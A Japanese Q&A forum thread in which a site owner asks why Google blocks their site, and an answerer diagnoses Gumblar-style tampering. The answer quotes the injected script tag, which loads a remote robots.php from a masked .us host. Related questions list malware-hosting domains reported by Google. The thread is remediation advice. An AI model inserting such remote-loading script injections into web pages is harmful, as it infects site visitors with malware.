• 締切済み

googleで危険と判定され、ブロックされたwebサイトについて

John_Papaの回答

  • John_Papa
  • ベストアンサー率61% (1186/1936)
回答No.3

サイトのトップページを調べさせていただきました。 URLは伏字にしましたが、次の2行目に覚えがなければバッチリ【改ざん】されています。 ---------------------------- </HEAD> <script src=http://***.us/***/robots.php ></script> <BODY background="syuho/kabe27.jpg" link="#0000ff"> ---------------------------- 暗号化されていないためカスペルスキーやavast!でも無警告です。 挿入位置は、5月頃のGumblarと同じく</HEAD>と<BODY>の間です。 改ざん犯は以前と違ってスクリプトを暗号化しなくなっています。 このアドレスはデトロイトの個人宅サーバーのようですが、私のアクセスした時間には稼動していなかったようで、指定されたスクリプトにアクセスできませんでした。 稼動中なら感染攻撃を受けたでしょう。 この作業は危険ですのでまねしないように。 googleの警告は全く正しく行われていると言えるでしょう。 考えられる事は、moto-kitさんの奥様のPCもしくはPCの繋がっているLANのPCやサーバーがGumblar系のウイルスに感染しています。 最近のGumblarウイルスはほとんど症状に気がつきません。またウイルス対策ソフトから身を隠す術を持っています。 ウイルス定義の自動更新ができていないなら感染可能性大です。 手動でもウイルス定義が更新できないようでしたら、職業上PCのリカバリをお勧めします。また、サイトのFTPパスワードの変更も必要です。 FTPログインする人が他にいるなら、そちらに感染があるのかも知れません。

moto-kit
質問者

お礼

大変詳しい解説と、危険を伴う分析までしていただき、ありがとうございました。ソースを確認したのですが、ご指摘頂いたスクリプトの記述は、もちろん覚えがありませんが、どこにあるのか私には見つけられませんでした。ただ、googleに再審査依頼をしたところ、やはり状態は同じでしたので、改善はされていませんでした。PCのリカバリは、その手間を考えると逡巡してしまうのですが、検討させて頂きます。FTPパスワードは変更してみます。他にはログインする人はいません。

関連するQ&A

  • グーグルが危険と判断したサイトについて

    すいません。ヨーロッパのとある企業のウェブサイトなのですが 攻撃サイトとして報告されています! 疑わしいサイトとして認識されています。このウェブサイトにアクセスするとコンピュータに損害を与える可能性があります。 過去 90 日間に、このサイトの一部で不審な動きが 2 回検出されています。 このサイトで過去 90 日間に Google がテストした 4 ページのうち 1 ページで、ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが判明しました。 上記のように表示されて昨日から急に見れなくなりました。こんどある商材を取引予定で成分表などもそのウェブサイトに記載されていたため見れないと非常に困ります。 2日ほどこの状態なのですが相手にこの件を言った方が良いでしょうか? 自身のウェブサイトが見れないのですからすぐ気づくと思いまして様子を見ていたのですが・・。 上記の警告が出た場合はほぼ確実にサイトなどが不正に改ざんされているのでしょうか? (グーグルの間違いということはないでしょうか?) 商材のサンプルなども届いて、話を進めたいのですがウェブサイトが見れない状態というのは 万国共通でしょうか?(相手国では普通に見れたりなどするのでしょうか?) アドバイスいただけると助かります

  • WEBサイトをブロックブロックしました。

    WEBサイトをブロックブロックしました。 メールの中のアドレスをクリックすると 「ウイルスバスター2010によりwebサイトをブロックしました。このページにサイトをアクセスすることは出来ません。URLフィルタによりこのカテゴリのWebサイトはブロックされています。」と出ました。 このカテゴリのWebサイトのブロックをはずすにはどうすれば良いのでしょうか? 教えて下さい。    Windows 7 Windows Live メール    ウイルスバスター 2010

  • 自分のサイトが危険?!

    googleで自分のサイトを検索すると、 「このウェブサイトにアクセスすると、コンピュータに損害が生じる可能性があります。」 と表示されてしまいます。。。 HP作成に関しては、ほぼ素人なので難しいことはしていないのですが、 ホームページビルダーのHotMediaアニメーションを一部利用しています。 yahooやgooでは、検索して何事も無くそのページの飛べるのですが、googleだけこのように表示されてしまいます。 何故なのかお解りの方、その理由や解決策を教えていただければと思います。 お願いします。

  • ある特定のサイト、ページにアクセスしようとするとブロックされ、さらに別

    ある特定のサイト、ページにアクセスしようとするとブロックされ、さらに別ページに飛ばす方法ってありますか? コンテンツアドバイザでは別ページに飛ばすところか検索サイト(google,yahoo!)から検索してみたら簡単にアクセスできてしまいます。コンテンツアドバイザでアクセス制限に設定したページのURLを入力すれば「コンテンツアドバイザによりアクセスできません」と表示されるのですが…。 URLからでなく検索サイトから普通にアクセスした場合、別ページに飛ばされるような形でブロックされる方法を知りたいのですが…ご存知の方、回答お願いします! windows XPです。

  • 自HPGoogle検索結果「このサイトはコンピュータに損害を与える可能性があります。」と表示される

    自作HPのGoogle検索結果に 「このサイトはコンピュータに損害を与える可能性があります。」と 表示されるようになりました。 googleのトラブルではないようです。 メッセージを見ると 「過去 90 日間に、このサイトの一部で不審な動きが 2 回報告されています。 oogle による巡回テスト状況 このサイトで過去 90 日間に Google がテストした 313 ページのうち 77 ページで、 ユーザーの同意なしに不正なソフトウェアがダウンロードされ、 インストールされていたことが判明しました。 Malicious software includes 371 scripting exploit(s). 不正なソフトウェアは martuz.cn/, gumblar.cn/ を含む 2 個のドメインでホストされています。」などとあるので、 ウィルスソフトでチェックしてみたのですが、 特に変なものは出てきませんでした。 この内容の意味も良く分からないのですが、 一体どうしたら改善されるのかがわかりません。 この状況を改善したいのですが、 どうしたら良いでしょうか? 非常に困っています。 お教え頂ければ幸いで宇。

  • googleで検索すると・・・

    googleでキーワードを検索すると全て「このサイトはコンピュータに損害を与える可能性があります。」と警告がでるようになってしまい、 そのサイトにアクセスをすると、【不正なソフトウェアの警告】として「警告- このウェブサイトにアクセスすると、 コンピュータに損害が生じる可能性があります。」という表示がでてしまいます。 YAHOOで検索をしたものは閲覧可能なのですが。。 これは私のPCが何かウイルスに感染してしまったからなのでしょうか?? PC初心者でして、よろしければ対処法をお教え願います。

  • WEBサイトブロック

    WEBサイトがブロックされます。解除する方法は ※OKWAVEより補足:「ESETセキュリティ ソフトウェア シリーズ」についての質問です。

  • HPのウィルス感染について

    私が依頼されて制作したHPにタイトルのようなメッセージが表示されるようになりました。 私のPCがウィルスに感染したのではなく、依頼したところのPCが感染したようです。PC感染については、業者に依頼し回復したようで、通常通りになったようです。 HPはGoogle、Yahooで上記のメッセージが出てしまいます。 Googleでセーフ ブラウジング診断を行ったところ、 ---------------------------------------------------------------------------------------------------------------- 疑わしいサイトとして認識されています。このウェブサイトにアクセスするとコンピュータに損害を与える可能性があります。 過去 90 日間に、このサイトの一部で不審な動きが 3 回検出されています。 Google がこのサイトを巡回したときの状況 このサイトで過去 90 日間に Google がテストした 3 ページのうち 3 ページで、ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが判明しました。Google が最後にこのサイトを巡回したのは 2012-05-30 で、このサイトで不審なコンテンツが最後に検出されたのは 2012-05-30 です。 不正なソフトウェアには 1 trojan(s), 1 exploit(s) などがあります。感染先のコンピュータで平均 11 個のプロセスが新たに発生しています。 不正なソフトウェアは 2 個のドメイン(framework-man.net/, ftp-security.com/ など)でホストされています。 1 個のドメイン(ftp-security.com/ など)がこのサイトの訪問ユーザーに不正なソフトウェアを配布する媒体となっていたようです。 このサイトは 1 個のネットワーク(AS9371 (SAKURA) など)でホストされていたことが判明しました。 ---------------------------------------------------------------------------------------------------------------- とのことでした。 この場合、サイトの元ネタは私が持っているので単純にアップしなおせば、問題ないでしょうか? それとも、 サイトの作り方(HTMLなど)に問題があり、そこを直さなければ再び感染する可能性があるのでしょうか? 一応、再度アップしなおしてみるつもり(特に直さずに)ですが、そのサイト自体に問題があるのであれば、しばらくすればまたは新しいウィルスが出たら感染してしまうのかなと思い ちょっと迷っています。

  • グーグルがおかしい

    よろしくお願いします。 先程からグーグルで検索しようとしても全ての項目で 警告- このウェブサイトにアクセスすると、コンピュータに損害が生じる可能性があります。 と表示されて一切の検索が出来ないでいます。 どうなっているのでしょうか。

  • GooGleが変になりました

    FireFoxを使っています。 Googleで検索をかけると、次のように マイクロソフト - ホーム <<<このサイトはコンピュータに損害を与える可能性があります。>>> Windows、Office、開発ツール、ビジネスソリューション、家庭用ソフト、ダウンロード、Xbox360 等の日本語版製品の紹介、技術情報やイベント情報。 <<<  >>>の警告文が加わって、開こうとしても 警告- このウェブサイトにアクセスすると、コンピュータに損害が生じる可能性があります。 検索のヒント: * 前のページに戻って、他の検索結果を選んでください。 * 別のキーワードで検索してみてください。 または、ご自身の責任のもとで http://www.microsoft.com/JAPAN/ にアクセスできます。見つかった問題の詳細については、Google が提供するこのサイトのセーフ ブラウジング診断ページをご覧ください。 不正なオンライン ソフトウェアから保護する方法については、StopBadware.org をご覧ください。 サイトの管理者である場合は、Google のウェブマスター ツールを使用して、サイトの再審査を依頼できます。審査プロセスの詳細については、Google のウェブマスター ヘルプ センターをご覧ください。 などと出て、サイトにつながりません。 どうすればいいのでしょうか?